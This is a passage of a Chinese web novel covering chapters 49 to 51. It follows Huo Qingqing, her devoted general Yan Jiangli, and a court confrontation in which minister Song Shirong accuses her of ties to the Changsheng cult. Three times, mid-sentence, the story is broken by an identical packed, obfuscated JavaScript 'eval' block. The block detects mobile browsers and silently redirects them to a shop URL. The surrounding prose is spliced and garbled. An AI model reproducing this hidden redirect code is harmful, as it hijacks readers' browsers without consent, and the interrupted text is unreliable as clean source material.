“我不知会回来,就让晏枕去青州找你了。”他站起身,走到霍青青身边,微伏下身子,给她拢了下散下来的发。 “要不要先睡了?我守着你。”雁将离不知道说什么,只看着青青在这里,他就觉得能安下心来。 来时在路上想了许多,如今到了跟前又一句话都说不出。 “没什么。我明日同爹说一声,就说我身子弱,还得歇上两日。”霍青青卷起腰间那根丝绦,又看着丝绦散开去。 她敛下眉目,余光里看到雁将离垂在身侧的手呼吸微窒。 “将离,我看看。”霍青青转过身,拉起雁将离的手细细看着。 雁将离由她看着。 姑娘家的手有些冷,指腹抹过他的掌心勾出一点沁人的凉意。 “早就好了,没事了。”雁将离的手掌收拢,虚虚握着霍青青的手。 霍青青一点点抹过他的指尖,随后是掌心,最后停留在他的手腕上。手腕上露出一点未褪的深色疤痕,可见当年这道伤有多重。 另一只手,也有。 她闭目,手掌收紧。 幸好……幸好当年没有放弃。 但只有她知道,将离为了再拿起枪吃了多少苦受了多少痛。她想对将离好一点再好一点,可无论如何都无法弥补。 许是怕她伤心,雁将离轻轻抽出手笑道:“今岁的生辰贺礼,还喜欢吗?那石头,是从关外挑回来的,我看着新奇便做了小物件。” 霍青青垂下眼睫:“喜欢啊。” 那时候的将离,赶过去后为了救她,双手生生被折断挑了筋,若非医老及时救治,只怕这双手就保不住了。就是接好后,医老都说,再也回不到从前了。 自那之后,她就害怕看到他拿长枪。 直到他作为将领第一次出征,遇伏,惨胜。 那夜,也是月色之下。他给那些战死的将士戴孝,跪在地上,身边便是他的长枪。他于这片坟茔前无声痛哭,再抬起头来,看向她的眼里布满血丝,他握着枪想站起来,双手却如同使不上力一般滑下去。 自那之后,她便时常会想起那天的雁将离。 濒死痛哭的雁将离。 霍青青觉得胸口一紧,她紧紧拉住雁将离的手,面色苍白起来。 “将离。” “青青。我没事,没事了。”雁将离终于慌起来握住她的手臂:“没事了……” 雁将离吹灭了灯火小心地把她带到榻上,自己坐在榻边。 安静下来的夜里,他看向外间明月,又想起很多很多。他抬手给霍青青掖了被子,又起身把窗户关小才又坐回来。 “我听霍清风说,你今岁身子弱。本来让晏枕给你带话说让你明年十月前来一趟白沙关,但如今,我更愿你好好养着。”他说着,悄悄低下头看着闭目小眠的霍青青,心知她没睡着便接着道:“青青,我知道你从来都信我,只是这事牵涉太深我不能替你做主。” 霍青青微微坐起身,靠着枕头笑了句:“不用顾及我,该如何便如何。我信你。” 雁将离闻言眼中雀跃起来,他得了糖,从心底里甜上来。他忽然又想到青青跟顾衍,喉间微涩:“你同顾衍……” 霍青青低头拨弄着自己腕间的玉镯,发出一声极轻的玉石碰撞声:“刚开始。” “我知道。”雁将离的手握紧。 霍青青低笑出声:“顾大人是极好的。” 雁将离偏过头去:“他好与不好,只三个月便能看透么?我无谓他如何,他若是欺你瞒你,我就把他宰了。” 霍青青想说什么,却被他打断:“青青。” 他唤了一句,在寂静的夜色里格外响亮。 “青青啊……”他闭上眼,他亦不知自己对青青到底是何种感情。他觉得他与青青,是超出情爱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126821|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他与她都不该被放进世人为了所谓爱情画出的条条框框里。 可是,他也不甘心啊。 他同霍清风说,他知道自己的感情,青青喜欢就够了。可真的对着青青时,他说不出那番话了。 他为青青而活,为青青守白沙关,他只有青青了。 青青、青青、青青…… 她占据了他重新活过来之后所有的时光,又哪里能那么轻易放手? 青青啊…… 只要青青喜欢,想要,他可以不顾一切。五万锋锐骑算得了什么?她只要说一句她想要这个天下,他亦能以性命作抵。 可是青青若是真的喜欢,他又能如何?他该如何?拿着青青对他的愧疚,去将青青一直留在他身边? 他做不到。 霍青青笑着看他:“是啊,三月太短,我也辨不清,只是看上了就试试。” “别骗我。”雁将离看进她的眼中,看到她眼里落出一弯月光:“你在心里同我说,你不止是想试试。” “为什么?”雁将离靠近了一些,抬起手虚虚地挡住霍青青那双带笑的桃花眼:“因为他出现得恰到好处?因为他会使朝中的天平倾斜?因为他能为了你不眠不休?” “这些,就够了吗?” 他的声音带着霍青青辨不出的情绪,霍青青曾以为她真的可以将一个人看得透彻,却忽略了人都会成长,慢慢学会将很多事都压在心底。 霍青青不知如何答,三个多月的时日,到底能谈什么喜欢? 雁将离放下手撑在她身侧的榻上,看着她迷惘,他试着靠近了些:“这些,我早就做了,不是吗?” “青青,我本以为,我真的能放手。” “青青,你想要什么?” “青青,你想要的我都给你。” “青青,你哪怕想要这个天下,我也可以做你的刀。” “青青,我是为你活着的。” 雁将离看着她,一字一句说得清清楚楚。他抬手握住脖颈间的玉坠。 最后他说:“早些睡吧,青青。我知道你很累,你该歇着的。” “没事的,青青。你不喜欢的东西,我不会拿。” “对不起,青青。我只是想说。想说这些。你不必往心里去的。对不起……青青……对不起……” 看着雁将离推门出去,霍青青才回过神来。 她看着雁将离站在门外的影子,想起她同哥说她与将离,是挚友。说这份感情超出了情爱太多,太重。 哥说,她错估了雁将离的感情。 如今看来,并不是。 而是她忽略了将离在这份感情之中已有情爱。超出情爱的感情是事实,但他没有跳出情爱。 霍青青闭目,她忽然觉得有些累。 她听到雁将离隔着门同她说:“对不起,青青。方才是我太过冲动,对不起。我不想拿这些来逼你什么,对不起。” “可是……” “我真的放不了手。” “你若是真的喜欢,那就去。” 他本也无意让青青犯难,只是方才一时未控制住情绪。 雁将离抱着枪,站在廊外看着天边明月,他能触到光,却摸不到月亮的边角。 49.偿债 这几日朝中一刻不停,两派相争搅了个鸡犬不宁。 雁将离刚备好点心给霍青青送来,就见霍清风一手按着刀快步往这边走。 “朝中如何?”雁将离跟他打了个照面。 霍清风看着霍青青紧闭的卧房门,面色沉下来,他站在廊下同雁将离道:“这几日朝中越发乱,你未归,青青未去朝中,顾衍也尚未回来。宋世荣他们越发猖獗。爹在思衬要不要请爷爷去去一趟。” 太傅霍书声威尤在,若他出面,朝中声音会变小许多,也能顺势给明顺帝稳住局势。 雁将离沉吟:“不若我还是去一趟?” 霍清风一时也不知该如何,思衬片刻道:“不如这样,你如今暂住霍府,等晚些爹和爷爷都在时我们叫上青青商议。” “也好。”雁将离听着屋内有细碎的响动,抬手叩响了房门。 霍清风见状,一双眼笑看雁将离:“你是不是骗我?” 雁将离不语,只挂起一个笑,随后便听见霍青青说进。 霍清风笑一声,在廊下站着。 他今日来就是寻青青的,既然雁将离在,他在外面等等便是。 前几日他问雁将离,雁将离说青青喜欢就好了。如今看来,没这么简单。雁将离对青青的感情远比青青想象的更为复杂。 若是恶兽乍起,恐怕没几个人能拉住。 明顺帝将锋锐骑交给雁将离本就是在赌,赌他不会反不会叛,一旦出了反叛之事,那霍家也会被殃及。如今的明顺帝,也需要霍家给他做后台,才能保他皇位。 最迟明日,青青便要上朝先行复命了。 青州学宫一案虽已记入案宗,但仍需青青在朝堂之上当众复命。 …… 屋内,霍青青看着雁将离将点心摆出来后又倒上一盏茶水。 顿时,雪蕊新芽的杏竹香溢满屋子。 “吃些吧。”雁将离将茶递过来,笑道:“今日想干什么?” 霍青青转着玉镯子,眼眸微弯:“练字吧,许久没这么清净了。” “好。” 霍青青的字,雁将离很熟悉,他旧时就喜欢看着青青半绾个发髻挽袖提笔。 “青青,你说我要不要去一趟朝中?”雁将离为她磨墨,眼眸微垂着看着上好的砚台里晕出一片墨色。 晚秋时节的大煜京都有些寒凉,他起身将屋子的窗户关小许多,复又回来看着霍青青写下一阙诗文。 霍青青将笔放在笔搁上,抬眼静静地看着他:“将离,你若是想去,那便去吧。我能保你无虞。” 她知晓将离的顾虑,将离的顾虑也曾是她的顾虑。可经历这几日,还有那日夜里将离一番话,她觉得此事也并非不可。 离那件事已过去太久太久了,前朝旧事,又有多少人能翻出确凿证据?就算有,她也可以不认。饶是宋世荣两朝老臣,也不见得能翻出什么大浪。她之前顾虑着担心皇伯伯会因为嫌隙偏信旁人,但再想想,国不可无将。 皇伯伯应当能知晓轻重。 雁将离看着她,开口道:“好。听青青的。” “等知会爹他们一声你再入朝。” 这样,便能多些准备。 若将离不入朝,怕是会加重皇伯伯猜疑。 帝王与臣子,最忌猜疑。 不若冒险让将离去抹除这嫌隙。 “青青,你想要什么?” 雁将离又问她。 霍青青看着他浅笑:“我想将离能为自己活一次。” “像兰浔他们一样,为自己活一次。不必管旁人看法,只为自己而活。” 雁将离自是知晓她想说什么,却也只是笑笑:“青青,太晚了。” “我遇到你太早,就注定了我这一生剩下的时日里,都只能为了你活着。”雁将离倾身,轻轻握住霍青青的手腕。 “你不能让我就此将你从我的生命中抽离。” “青青,已经太晚了。” 雁将离说着,踌躇着微微收紧自己的手:“白沙关有异动,本已差晏枕告诉你。但我此次正好回来,你定夺。” 霍青青看着他的手没有将自己的手抽出来:“我同晏枕说……” “我信你。” 雁将离笑起来好看,一时晃了人眼。 “将离,我同顾衍,容我再想想。”霍青青有些疲惫地坐回榻上,抬手撑着头,阖上眼。 雁将离取了一件披风给她披上:“我知晓你不愿被世俗左右,若是不高兴了,就随我去白沙关散散心。我不求什么,青青,你知道的。” 霍青青自然知道,将离从来不会强迫她做什么,只问她喜不喜欢愿不愿意。将离总是将所有的选择权都给她,包括他的生死。 是夜。 霍府的书房里,几人分坐一方。 霍承阳拍拍雁将离的肩笑道:“又几年未见,长变了点。” “霍叔,霍爷爷。”雁将离给两个长辈和霍清风各倒上一杯酒。 霍承阳端着酒饮上一口:“青青方才说她明日入朝,不如这般,你明日也从京郊赶回来。青青自己有分寸,你那方若是宋世荣捣鬼,我跟青青自会周旋。” “如今徐从风并未表态,他恐怕难办。不过也好在他尚未表态。将离,若是明日有人说什么,你什么都不要认。徐从风不表态,圣上就不敢动你,恰好借此机会消去嫌隙。” 霍青青笑道:“爹与我的想法倒是不谋而合,只是宋世荣手中有什么证据我们都不知。明日怕是只能随机应变。” “我青州一行,宋世荣做了青州案的推手,却与长生教并无瓜葛。没摸到尾巴,怕是还要再等等。” 霍承阳点点头:“无碍,这事急不来。” “只是青青。”霍书想起什么,他支起身子缓缓道:“与此事相关的,还有两年前贺乾案。当日在贺府诛杀贺乾和安平王遗子的,只有顾衍一人。” “这倒是无碍。”霍青青沉吟:“安平王遗子,是皇伯伯亲自认的。除非……有人拿出证据说那不是安平王遗子。” “当年见过安平王遗子的,如今还在世的便只有皇伯伯自己。他若说是,那便是。” “他拎得清。”霍书抚须。 明顺帝是他教出来的,他什么性子他清楚。如今虽为帝数载,慢慢生了猜忌,早已不如从前那般,但他脑子还清明,不会不清楚哪方于他更有利。 只是,若是真到了那时候,他也定然会冒险铲除。 此事非同小可,牵扯皇家血脉,一旦有了苗头他就不会罢休。 雁将离沉默不语,如此情形,他也不知说什么。 霍清风也点点头:“我前日回朝,圣上说改日会下旨办接风宴,届时赏赐依旧给青青。” “青青先去睡罢,五更天还得起来梳妆。” “嗯,爹、爷爷,你们也早些睡。明日恐怕还有硬仗要打。”霍青青微微一礼:“明日……就辛苦爹和爷爷周旋了。” …… 雁将离同她小叙片刻之后借着夜色出了霍府。 霍青青独自在屋中,借着月光遥望远处,远处只有那银白月色。 也不知顾衍如何了,若是随锦屏他们坐马车回来,恐怕还得花上大半月。只望他听话些,不要贸然纵马。 可是他那般人…… 从来都不怕死的。 如今多想也无益,明日朝堂一战才是当务之急。 思及此,霍青青才睡下。 也不知睡了多久,霍青青只觉濒死一般,像被人溺进水里,水下还有无数人抓着她的足踝往下拽。窒息的感觉,喘不上气。 梦魇。 霍青青挣扎着,眼前被血糊了一片,看到面前可怖的一张脸,那张脸上有纵横交错的血口,往外渗着血。 “霍青青,你要偿债的。” 这张脸的主人忽然开口,朝着霍青青逼近过来。 偿债…… 霍青青被他逼得后退一步,粘稠的血从他脸上滴落下来,淌进衣襟里。 梦里喧嚣起来,浓重的血腥气飘散,将她整个包裹起来。她听到无数人在说,要让她还债,层层叠叠,许多个声音。接连不断的声音,在她耳边起起伏伏。 偿债么? 霍青青手中出现一柄短匕,她抬起手,匕首直指自己的脸颊,她不受控制又缓慢地朝着自己的脸上刺去。匕首刺破了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164607|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上的皮肤,有人握住她的手继续刺得更深。 抬不起手脚…… 霍青青一点一点将手抽出,匕首上凝出银白的光,照见她自己。 是幼时,还是孩童的她。 这一觉睡得太不安稳,霍青青真的醒来时已是冷汗涔涔。 她望向外面,天还黑着。 偿债……是她的债。 可她能如何?回不去的依旧回不去了,她已经尽力去弥补,可是为何还要她偿债?要她去死么? 霍青青在榻上坐了许久,随后便听到梳妆的丫鬟来敲门。 “进来吧。”她从榻上爬起来,走到梳妆台前梳洗好。 丫鬟捧了御赐的一套头面出来,绾出一个繁复的发髻。 等打扮好,天已经蒙蒙亮。 她的雕花八宝轿跟在霍承阳和霍书那简朴的轿子后面很是惹眼。 霍青青斜靠在靠垫上闭目养神,下意识地转着手腕间的两个玉镯。 等她恍惚着睁开眼,轿子已经停在宫门前。 霍清风翻身下马,在轿子前伸出手:“青青,下来了。” “嗯。” 霍青青撩开帘子,一手提着裙摆搭上霍清风的手灵巧地跃下来。 已经又三月未归,如今看着朱红的宫门依旧觉得沉闷。 她跟在霍承阳之后一步,与霍清风并行。 霍清风步子慢下来,低声道:“没睡好?” 霍青青垂下眼睫,数着自己的步子低低应了一声:“昨夜里做了梦。” “雁将离?”霍清风眉头微蹙:“今岁到底是怎么了?医老不是一直在吗?怎会加重?” “不是将离。” 霍青青抬起眼,大殿已然近了。 “我也不知,今岁较往年越发严重了。”她说着,轻轻扯了扯霍清风的袖子:“哥,别跟爷爷他们说。” 霍清风想说什么,却见已快至大殿,他微微低头道:“我不说。但……你要照顾好自己才是,若是大殿之上不舒服了就说,先去歇着。” “嗯。哥,我……” 她话音未落,就听见福公公的声音从殿内传来:“太傅觐见——” 霍清风抬手给霍青青正了下钗,嘱咐道:“我先进去,同爹和爷爷一起先看看宋世荣到底想搞什么把戏。” “嗯。” 霍青青站在殿外,立在廊下。 她看着今日秋阳正好,眼眸微眯。 在这大殿的廊下望过去,只能看到沉闷的朱红涂金宫门,空寂的皇宫。 “青丫头,你又骗你福公公。”福公公不知何时走过来,拂尘一晃,把霍青青晃得如梦初醒。 霍青青连忙笑着道:“错了错了,这不是皇伯伯正值用人之际嘛。皇伯伯向来疼我,总得给皇伯伯做些实事才是。” “你啊。”福公公抬手轻轻点在霍青青额头:“仗着养好了就到处跑。那青州这般远,又去青州学宫涉险,如今朝中和京都都传遍了,说霍家小姐以身涉险为民除害,那叫一个能耐。” “什么?”霍青青一愣,她与顾衍同去青州明明是密旨,为何这么快便传遍了大街小巷? 再者,朝中之事,民间本不能妄论。就算那长生教是为祸民间,在她述案朝堂前也不能外传。 在江湖那帮兄弟们也知江湖不涉朝堂,应当说十三楼楼主同江湖义士剿灭长生教才对。 青州命案,长生教一案,宋世荣动手,将离被弹劾守关时擅离职守。如今又将她以身涉险剿灭长生教一事四处宣扬。 霍青青心中一凛,问道:“福公公是何时听说的此事?” 福公公一笑:“昨日听到的,你啊,先在此等等吧,等进得金銮殿上去领赏才是。” 说罢,他便抱着拂尘回殿上候着了。 昨日…… 霍青青心中起疑,昨日爹和爷爷回来时,都未曾听闻啊,福公公又是何处听闻? 还未等她继续深思下去,就听见福公公唱道:“霍府霍青青觐见——” 霍青青伸手抚平衣摆的褶皱,迈步入殿。 入得金銮殿,便该跪天子。 “臣女霍青青幸不辱命。” 50.大殿之上 大殿之上,霍青青不卑不亢,皇伯伯早免她跪拜,如今更是荣宠有加。 朝臣们,如今更是知道,大煜霍家尤在。 明顺帝大悦,笑问道:“此次青州一行,青青可有什么想要的赏赐?” “青青听皇上的。” “好。”明顺帝笑了句:“方才霍爱卿已将青州长生教一案的卷宗呈予我。” “也听闻你在去往青州途中遇刺,朕已命人彻查。福公公,拟旨。” “大理寺卿霍承阳之女霍青青,剿灭长生教有功,为大煜除害为百姓请命实乃大功一件。今赏金千两,绫绸各五十匹,另赐玉如意一对。” 仅仅剿灭一个长生教,便得黄金千两,可见一斑。 霍青青叩谢。 朝堂一时静下去。 霍青青退至霍清风身旁,见霍清风无异才稍放下心。 “众爱卿可还有本奏?”明顺帝坐得疲了,在龙椅上居高临下看着众朝臣。 宋世荣微微踏出一步:“臣有事启奏。” “何事?”明顺帝眼眸微眯,微微直起身子。 宋世荣自袖中拿出一纸红封密信:“这信中所说,还请皇上过目。” 明顺帝看着福公公呈上来的密信迟迟未取,眸中冰冷看向宋世荣:“宋爱卿,你一而再再而三上奏一事,到底是何居心?” 宋世荣拢着袖口敛目笑道:“皇上不必动怒,前些日子的折子是别人呈上来的,与臣无关。可此事则不同。” 明顺帝压住怒气伸手将密信拿起。 只片刻,他沉下脸,将密信捏在手里:“宋爱卿,仅凭你一言便下定论么?” 宋世荣无畏地笑笑:“事到如今,我也不瞒了。臣启奏。大理寺寺卿霍承阳之女霍青青,勾结长生教为祸民间,后通敌南羌,锋锐骑雁将离得她传信前往青州才擅离职守,致使白沙关无人看守,险些被破。这是置大煜而不顾,大煜百姓何辜啊。” “宋世荣,你我本就不合,有什么冲着我来,何必拉青青下水。”霍承阳站出来,于大殿之上掷地有声:“污蔑朝廷命官家眷,这罪名就是你也要被扒一层皮。” 朝堂之上忽然传来一声轻笑:“宋尚书这般说话,怕是早有准备吧?臣女是怎么惹着宋尚书了让宋尚书给扣上祸乱民间、通敌叛国两个大帽子啊?” 霍青青迈步至大殿中间:“宋尚书,你可知,你说了什么吗?” 少女一袭青裙曳地,雍容华贵。于这金碧辉煌的大殿之上,锋芒灼灼。 “我自幼时起便养在南方,虽锦衣玉食,却也知民间疾苦。宋尚书怕不是老了脑子不好使了,我霍青青为何要通敌南羌?怎么?觉得我身居高位还不够要去肖想……万人之上吗?” 朝堂顿时落针可闻。 霍青青这番话不可谓不大胆,恐怕自大煜开国以来,都只有她敢这般说话。 初时只知霍家小姐受尽宠爱,但样貌平平,算不得什么倾城绝色。却不知她胆子能大到这个地步。 “那我再问,宋尚书人证物证可是找好了?我的书信你可取来了?”霍青青步步紧逼,面上却挂着一抹笑:“说啊,宋尚书。” 她说得是条条在理,可霍家在大煜无人能及,若真的肖想那个位置,怕也不是不能…… 霍青青明白,宋世荣是想进一步动摇明顺帝。 霍家权势太大,若稍有把柄就会被千般放大。如今前有她往青州剿灭长生教,后有雁将离擅离职守,都没在明顺帝眼皮子底下。 这一仗,不好打。 “坊间传言,霍小姐可是以身涉险涉足长生教之中,在教中呆了两月却毫发无伤。长生教那是吃人肉喝人血的地方,他们为何不伤你性命?”宋世荣笑道:“若说没有瓜葛,有人信吗?” “长生教此为其一。我还有其二。”宋世荣撩了衣摆跪在殿上。 “臣恳请皇上为臣小儿子做主。” 明顺帝骑虎难下,看了霍书一眼,见霍书神色如常,只得开口道:“何事?” “臣恳请皇上,让臣抬棺上殿。” “金殿之上,怎能抬棺!”他话音刚落就有朝臣大声斥责:“宋世荣,若是冲撞了皇上龙体,你担得起吗?” 宋世荣重重叩首:“臣恳请皇上为臣小儿子做主。” “有何冤不如先跟我这个大理寺卿说说。”霍承阳冷眼看着跪伏下去的宋世荣,扬声道:“宋尚书既这般冤枉,不如先说来听听有何冤案,我也好给宋尚书断断。” 人人皆知大理寺卿霍承阳,手下无一桩悬案冤案。如今牵扯到他的女儿,若是此冤案当真与他女儿有关,也不知他能否大义灭亲。 宋世荣跪伏地上久久不起,许久,才听他道:“若非我那小儿子死得冤枉,我也不会前来殿上闹这一番。还望,皇上成全我拳拳爱子之心啊。” 他说得情真意切,在大殿之上涕泪横流。 见他这般,刑部尚书也跪伏道:“宋尚书如此情真意切,皇上难道看不到吗?皇上……莫让忠臣寒心啊……” 明顺帝不怒反笑,霍书轻轻点头:“既如此,不如各退一步,殿外开棺,如何?” 明顺帝疲乏地往龙椅一靠:“听太傅的吧。” 果然,宋世荣早有准备。 福公公传话下去不多时便有人抬着一个楠木棺材。 棺材停在殿外,宋世荣抚棺恸哭。 人人皆知,宋世荣最宝贝他那个小儿子,宠得他无法无天。前些日子才送去庄子上休养,怎的说没就没了? 宋世荣站起身,将棺材板推开,自那棺材里飞出无数血色的……蝴蝶。 霍青青心下一惊,细看那血肉应当是这几日才死的不错。可月长老已死,长生教已覆灭,又何来赤蝶蛊?莫不是两年前种下的?可青州长生教据点,连同月长老陨长老的长生教中人应当都死在大火中才对。 引蛊人已死,母蛊已死,为何还会破茧? 正在她思索时,有人扭送来一个小厮。 那小厮惊叫了一路,他喊着:“长生!长生!神使说要让我长生!我得新生啊——” 长生药…… 霍青青看向明顺帝。 长生教一案,卷宗早已写明据点已焚教徒剿灭了两百余。如今为何还有长生药在世上? 长生药问长生,赤蝶破茧。 难不成长生教的人还未死干净? 可普通教众,只是服食长生药,又何来赤蝶蛊? 不经意见,霍青青看到小厮扭曲着脸,死死盯住她。他叫起来,一时挣脱开押他的人,挣扎着在地上爬过来,他伸手便要拽霍青青的衣摆。 霍清风眼眸一寒,伸手卡住小厮的手,“咔嚓”一声脆响将他的手折断了去。 小厮死死看着霍青青,他癫狂高喊着:“神使!神使你说过要予我长生,我把他杀了哈哈哈哈,我是不是能得长生?神使、你是神使,你告诉我,我是不是能长生?” 两个御林军见状,连忙上前一人压住小厮一边肩膀。 宋世荣站在小厮面前,缓缓道:“你说清楚,你说的神使,是谁?” 小厮茫然地看着他,很快慢慢转头,诡异地看向霍青青:“是她啊,我们的神使。” 他话音刚落,便诡异地强行扭断了自己的颈骨,一双眼泛着血红,还死死地看着霍青青:“神使,长生。” 随后,就没了气息。 众目睽睽下,宋世荣跪在明顺帝面前:“还请皇上为微臣枉死的儿子做主啊。” 明顺帝不置可否。 他不应,宋世荣便磕下响头:“若是长生教不除,大煜何来安啊——” “皇上,你还要包庇她吗?皇上,你这是弃大煜百姓于不顾啊——” 霍承阳冷眼看着地上的宋世荣:“服食长生药的人本就神志不清,此人又如何能当证人?” “霍承阳,那我问你,青州长生教一案霍青青被关两月毫发无伤,这作何解释?” “哦?那你为何不等顾衍回来去问顾衍?”霍承阳居高临下看着他:“宋尚书,那顾衍可是跟青青同去的,此案细枝末节如何,你大可以去问问他。” “至于你这小儿子死于长生教之手,那便冤有头债有主,别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178030|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来污蔑我女儿。” 顾衍? 宋世荣一僵,那在京都的……便是替身。 明顺帝摆摆手,有人将棺材盖上。 众人重新回到殿中,明顺帝坐在龙椅之上:“既然到了如今地步,宋爱卿爱子惨死便厚葬了罢。方才那小厮所言,暂不做定夺,一切待顾衍回来说于公堂后再下定论。” “顾衍同青青,是接的密旨一同前去,朕倒是能给他们二人做个证。如此,宋爱卿可满意了?还是说……宋爱卿还是觉得朕在包庇她?” 宋世荣跪在殿上,叩首谢圣恩:“臣不敢,只是臣请陛下先收押霍小姐,等一切水落石出再放出来。” “宋世荣,你胆子是不是太大了?”霍清风抱臂看着地上的宋世荣。 他话音刚落,便听一声嗤笑:“宋世荣,你当我是死的?” 满朝文武回头一看,玄甲将军手握长枪站在大殿门口,他缓步走入殿中,站在霍青青面前:“宋世荣,你想收押谁?” 雁将离转身朝明顺帝行了个武官礼:“臣雁将离,参见皇上。” 锋锐骑雁将离。 霍家举荐的大煜悍将。 自他接任锋锐骑大将军一职后便甚少回京,唯一一次回来还是为营中的女将讨封号。他领锋锐骑,守边关数载,南羌铁骑曾三次败在他手下。如此战绩,不可谓不强。 “我是守边关,又不是死了。”雁将离冷笑一声,长枪枪尖点在宋世荣面前半寸:“宋世荣,你是尚书做腻了,要去地下做小鬼?” “敢问皇上,他说什么了?”雁将离微微偏头看向明顺帝。 明顺帝摆摆手:“没什么大事,就是宋爱卿悲痛太过,怕是人有些恍惚了。” “正好。雁爱卿也回来了,这个折子,解释解释吧。” 一个折子被掷在雁将离脚下。 雁将离蹲下身捡起,只看了一眼便随手扔了。 “可有证据?”他看向朝臣:“说啊,人证物证都在哪儿?” “都哑巴了?有贼心没贼胆?” “仅凭这一纸折子,就敢说我雁将离擅离职守弃百姓不顾……都说文官聪明,但在我看来,脑子被狗吃了。” 霍青青也是第一次听到雁将离如此说话,她借着宽大袖口遮掩下,轻轻拉了他的衣袖。 雁将离微微一顿,敛了半数锋芒。 他微垂下眼:“证据若是交不出来,我就挨着把你们杀了。” 朝堂之上鸦雀无声。 他们知道雁将离偏执,却未曾想会偏执到这个地步。他说得出那就一定做得到,否则不会是南羌人口中杀人不眨眼的大煜悍将雁将离。 “写这折子的人,可是你锋锐骑军中人。” “军中人?”雁将离冷笑一声:“他说我擅离职守,怎么不见白沙关失守?你以为,我若走了,霍清风分身乏术,谁还拦得住南羌铁骑?凭你们这帮子耍嘴皮子的文臣?” 是啊,白沙关锋锐骑大胜,若是当真擅离职守,也不过是个轻罪,他得胜还朝便可功过相抵。 “你军中不止你一人,又如何不能打胜仗?谁不知你与霍青青有私情?”宋世荣站起来,不卑不亢:“我儿惨死长生教手下,她去往青州在教中两个月完好无损地回来,那小厮又称她神使,此作何解?长生教事发,边关动荡,唯独你擅离职守弃白沙关不顾,又是何居心?” 宋世荣口诛笔伐,在朝堂上站得笔直。 雁将离隔了衣袖抓住霍青青的手往自己身后一拉,笑道:“是何居心?若我擅离职守,南羌铁骑早已踏破白沙关。” “宋世荣啊宋世荣,你若是想拿这番话来牵着我鼻子走那你就错了。” “我就是同她有私情又如何?她救我这条命,我便送她这一条命。我自接下锋锐骑将军一职时就已经同皇上说过,我守大煜,是为守青青。” “大煜如何,与我无关。青青心疼百姓,我便替她守着。宋世荣,你以为我不敢把这份感情摆上台面吗?” “我雁将离行事磊落,喜欢人也喜欢得磊落。我这一生,都只为她一人而已。” 51.他们说 “如此私心,又如何能担锋锐骑将军一职?” 霍青青终是踏出一步同雁将离并肩站着:“宋世荣,你字字句句拿私心来说事。当年阜州水患你可有出过一分力?是二皇子在阜州三个月,治水患救百姓兴农耕。当年,北蛮进犯,八万青骑群龙无首,是我哥霍清风披甲挂帅纵西北退北蛮。当年,白沙关危急,青骑分身乏术,是将离以命做抵。” “私情?你在庙堂之上,贵为吏部尚书,自然只能看到私情。大义何在?在数万将士浴血的边关,在百姓之中。你自然只能看到私情。” “我霍青青有幸生在霍家,承我霍家风骨。” 她一番话回响在大殿之上,那一袭青裙于朱红带金的大殿之上尤为醒目。 霍青青转头看向明顺帝:“我霍家不负大煜更不负皇上,霍家无愧。” 明顺帝看着殿上的霍青青,所有被垒起来的猜疑烟消云散。他转头看向自己那早已须发皆白的太傅,见太傅朝他点点头。 霍家,是父皇留给他唯一能信的朝臣。 他不该有疑,更不该去揣测他们忠心。 好在没有迟,他没有说出那些伤人的话。 只是……如今宋世荣…… 明顺帝还在思衬便听着霍青青笑道:“皇伯伯,既然宋尚书爱子惨死如此不平,不如我跟宋尚书都各退一步,青青没做错事也不想被收押,可禁足在霍府,宋尚书以为呢?” 宋世荣心知今日朝堂之上,是吃了败仗,便只得点头道:“如此,也可。” “若是真的,还望到时霍大人能秉公办案,还我儿一个公道。” 霍承阳点点头:“这是自然。” “那便依青青所言罢。”明顺帝摆摆手,看向宋世荣:“宋爱卿可满意了?若是顾衍所言并非宋爱卿所说,宋爱卿当如何?” 宋世荣低头冷声道:“若非微臣所言,微臣自当亲自前去霍府赔礼。” 霍清风眉一挑:“宋尚书搞出这么大阵仗,就赔个礼就算完了?怕是不合适吧。” “不如这般,届时赔点银钱。我家女儿娇生惯养的,被你扣这么大两顶帽子吓得都不知道说什么了。这样,还请宋尚书到时带一千两白银吧,当是给我女儿买点茶水润润嗓子。”霍承阳拢着袖子,抬眼看向宋世荣:“不知宋尚书意下如何?” 朝臣大开眼界,第一次见金銮殿上明目张胆讹人钱财的,还开口就是一千两。 宋世荣拂袖冷哼一声:“霍大人就如此笃定?” “废话,我的女儿我能不知道?”霍承阳鄙夷地看他一眼:“我可就这么一个宝贝女儿。” …… 好在禁足是在霍府,于霍青青也就是不出门罢了。霍府外零星有几个御林军守着,知晓霍小姐不会与他们为难,也不大管事。宋世荣自是也差了人前来守着,守得密不透风。 雁将离坐在屋子里同霍青青对弈:“我回去便动手。” 